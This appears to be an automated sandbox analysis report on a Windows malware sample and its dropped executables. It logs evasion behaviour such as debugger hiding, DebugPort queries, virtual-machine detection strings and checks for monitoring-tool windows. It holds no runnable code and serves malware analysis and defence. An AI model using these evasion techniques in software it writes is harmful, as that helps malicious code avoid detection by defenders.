Source: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe TID: 344	Thread sleep time: -1524762s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe TID: 648	Thread sleep count: 753 > 30
Source: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe TID: 648	Thread sleep time: -1506753s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe TID: 2200	Thread sleep count: 741 > 30
Source: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe TID: 2200	Thread sleep time: -1482741s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe TID: 8000	Thread sleep time: -44000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe TID: 2124	Thread sleep count: 732 > 30
Source: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe TID: 2124	Thread sleep time: -1464732s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe TID: 4884	Thread sleep count: 756 > 30
Source: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe TID: 4884	Thread sleep time: -1512756s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe TID: 2076	Thread sleep count: 753 > 30
Source: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe TID: 2076	Thread sleep time: -1506753s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe TID: 4488	Thread sleep count: 728 > 30
Source: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe TID: 4488	Thread sleep time: -1456728s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe TID: 2992	Thread sleep time: -148074s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe TID: 1360	Thread sleep time: -158079s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe TID: 1148	Thread sleep time: -160080s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe TID: 4432	Thread sleep time: -36000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe TID: 5956	Thread sleep time: -152076s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe TID: 5580	Thread sleep time: -178089s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe TID: 1312	Thread sleep time: -152076s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe TID: 3220	Thread sleep time: -176088s >= -30000s
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe TID: 2148	Thread sleep count: 31 > 30
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe TID: 6656	Thread sleep count: 948 > 30
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe TID: 7616	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe TID: 6748	Thread sleep count: 157 > 30
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe TID: 6748	Thread sleep time: -314157s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe TID: 6812	Thread sleep count: 164 > 30
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe TID: 6812	Thread sleep time: -328164s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe TID: 6728	Thread sleep count: 150 > 30
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe TID: 6728	Thread sleep time: -300150s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe TID: 2000	Thread sleep time: -44000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe TID: 6752	Thread sleep count: 161 > 30
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe TID: 6752	Thread sleep time: -322161s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe TID: 8072	Thread sleep time: -180000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe TID: 6760	Thread sleep count: 161 > 30
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe TID: 6760	Thread sleep time: -322161s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe TID: 6800	Thread sleep count: 160 > 30
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe TID: 6800	Thread sleep time: -320160s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe TID: 6788	Thread sleep count: 164 > 30
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe TID: 6788	Thread sleep time: -328164s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe TID: 6776	Thread sleep count: 160 > 30
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe TID: 6776	Thread sleep time: -320160s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1028935001\a48f6ed5ed.exe TID: 7804	Thread sleep count: 52 > 30
Source: C:\Users\user\AppData\Local\Temp\1028935001\a48f6ed5ed.exe TID: 7804	Thread sleep count: 156 > 30
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe TID: 1220	Thread sleep time: -58029s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe TID: 7916	Thread sleep time: -52026s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe TID: 5068	Thread sleep time: -36000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe TID: 7848	Thread sleep count: 32 > 30
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe TID: 7848	Thread sleep time: -64032s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe TID: 5800	Thread sleep time: -42021s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe TID: 3668	Thread sleep time: -56028s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe TID: 5808	Thread sleep time: -54027s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe TID: 2324	Thread sleep time: -180000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe TID: 3120	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1028937001\ad8a3a5306.exe TID: 280	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1028937001\ad8a3a5306.exe TID: 280	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3988	Thread sleep count: 1409 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2144	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1028935001\a48f6ed5ed.exe TID: 6080	Thread sleep count: 81 > 30
Source: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe TID: 5560	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\Desktop\random(4).exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1028926001\943fedf78d.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Last function: Thread delayed
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe

Code function: 10_2_00820DA9 FindFirstFileExW,FindNextFileW,FindClose,FindClose,

10_2_00820DA9

Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe

Code function: 4_2_6BF2C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

4_2_6BF2C930

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1028937001\ad8a3a5306.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1028937001\ad8a3a5306.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\random(4).exe	File opened: C:\Users\user\AppData\Local\PlaceholderTileLogoFolder	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	File opened: C:\Users\user\AppData\Local\Comms	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	File opened: C:\Users\user\AppData\Local\Packages	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	File opened: C:\Users\user\AppData\Local\CEF	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	File opened: C:\Users\user\AppData\Local\Mozilla	Jump to behavior

Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2322323597.0000000000AEB000.00000040.00000001.01000000.00000006.sdmp, 7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe, 7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe, 00000005.00000002.2079424276.000000000041F000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, 0000000E.00000002.2359725716.0000000000DEF000.00000040.00000001.01000000.0000000C.sdmp, FIJDGIJJKE.exe, 00000011.00000002.2379901363.000000000101F000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 943fedf78d.exe, 0000000D.00000003.4131972162.00000000011ED000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: /adc3nkKcii0UMqemf5IqB7fOBw3VtAnj19tg3BOG+3kYN9IaBgyNmTA38kNa1k+Wk+6H3oFwPqdCytDdc4LvTbwTVisnLPv/1UJX9r7TLrODD+faZuG/B2ar8NwTghu8HCPm3kTsbB2xF8MUXoJqV9cfIr9VpXqXdJskCKdm616N0+dqIxxsHFEXwhKLowujYooW+lAgjvaj6gA5Y4f7eRgX0htjHQwYRGNXZ26CSmcnv/OrlpZfQ5dKhdiDgnt8aTa1jkOci+jRE8MT66F7lkfvo8/UFQtTZ98m6Xb3nwiZ1zZ+Qp28+DVTUxPqpm8CMjpm2sSBWhenr/Fd02KeWJi3Mms2CPkdFBKXVt9DPsSE69PutGG/Z6Y/8Vtjght/adc3nkKcii0UMqemf5IqB7fOBw3U9MqD0s8Q2JODGkh5M3cOQp2NOYBHcmNqgr5W8w532mBRX4KCznDch2ZPbK3TBztneLl8AWGk8q0TKsemb6K+VmXKguZ75KzzYp+ImLCiGrYIuPj1AncGz9dOU2f+A+8EML9DtvvkeIOFa5ictzOeRSmpPNWiVycPE5p2c90iXpR1z4dCy5DdcqJ7fNwnM59CPT1JAGdCN5tC3rYDCpa7AXSfhiLIFzv19M3PjlA1qaT6ei4nsPXUHECppbVMcI3Wd8hgRatEiFbl3b6O0NUKNhnIbTEWoxcrps60Rz4CzrWku+eiL/Vc8gKdTbwT1qpXKeis5dNTxQ8TGhYETdHLNlWx
Source: 7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe, 00000005.00000003.2062284194.0000000000D0E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}(
Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2343245349.000000000B529000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: 9ce3a8a3dc.exe, 0000000C.00000003.2400323329.0000000001593000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000002.2441193868.0000000001594000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2379447041.000000000158D000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2335777288.000000000158D000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2398825314.000000000158D000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2286847849.000000000158D000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2320718181.000000000158D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: 9ce3a8a3dc.exe, 0000000C.00000002.2432974632.000000000155C000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2398825314.000000000155C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2327588011.0000000000CC4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWr
Source: random(4).exe, 00000000.00000003.1750674299.0000000000CEA000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1968516826.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1791619976.0000000000CEA000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1845454341.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1802092337.0000000000CF2000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1801922934.0000000000CEA000.00000004.00000020.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2327588011.0000000000CC4000.00000004.00000020.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2327588011.0000000000C97000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 9ce3a8a3dc.exe, 0000000C.00000003.2400323329.0000000001593000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000002.2441193868.0000000001594000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2327588011.0000000000C4E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2327588011.0000000000C4E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware}_
Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2322323597.0000000000AEB000.00000040.00000001.01000000.00000006.sdmp, 7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe, 00000005.00000002.2079424276.000000000041F000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, 0000000E.00000002.2359725716.0000000000DEF000.00000040.00000001.01000000.0000000C.sdmp, FIJDGIJJKE.exe, 00000011.00000002.2379901363.000000000101F000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\random(4).exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\random(4).exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\random(4).exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Documents\FIJDGIJJKE.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1028932001\13f4808de9.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1028934001\334592f815.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1028934001\334592f815.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe

Code function: 5_2_04A801B1 Start: 04A801C4 End: 04A801C8

5_2_04A801B1

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\random(4).exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\Documents\FIJDGIJJKE.exe	Process queried: DebugPort
Source: C:\Users\user\Documents\FIJDGIJJKE.exe	Process queried: DebugPort
Source: C:\Users\user\Documents\FIJDGIJJKE.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1028932001\13f4808de9.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1028932001\13f4808de9.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1028932001\13f4808de9.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1028934001\334592f815.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1028934001\334592f815.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1028934001\334592f815.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1028934001\334592f815.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1028934001\334592f815.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1028934001\334592f815.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe

Code function: 5_2_04A80C87 rdtsc

5_2_04A80C87

Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe

Code function: 4_2_6BF4B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

4_2_6BF4B1F7

Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe

Code function: 4_2_6BF773E0 LoadLibraryW,GetProcAddress,FreeLibrary,

4_2_6BF773E0

Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Code function: 5_2_0026652B mov eax, dword ptr fs:[00000030h]	5_2_0026652B
